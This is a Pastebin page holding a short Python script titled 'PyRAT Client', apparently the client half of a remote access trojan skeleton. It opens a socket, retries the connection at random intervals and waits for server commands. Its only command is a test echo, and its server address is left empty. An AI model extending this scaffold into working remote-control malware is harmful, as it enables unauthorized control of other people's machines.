Guest User

PyRAT Client

a guest
Jan 3rd, 2016
4,016
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.81 KB | None | 0 0
  1. #Imports
  2. import socket
  3. import time
  4. import random
  5.  
  6. #Variables
  7. lHost = ""                    #Server IP
  8. port = 80                     #Connection Port
  9.  
  10. #Functions
  11.  
  12. def send(msg):
  13.     s.send(msg.encode("UTF-8"))
  14.    
  15. def getInstructions():
  16.     while True:
  17.         msg = s.recv(4096)
  18.         inst = msg.decode("UTF-8")
  19.        
  20.         #Instructions
  21.        
  22.         if inst == "test":
  23.             try:
  24.                 send("[OK]Test works!")
  25.             except:
  26.                 pass
  27.  
  28. #Connection
  29.  
  30. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. host = socket.gethostname()
  32. connected = False
  33. while connected == False:
  34.     try:
  35.         s.connect((host, port))
  36.         connected = True
  37.     except:
  38.         sleepTime = random.randint(20, 30)
  39.         time.sleep(sleepTime)
  40. getInstructions()
Add Comment
Please, Sign In to add comment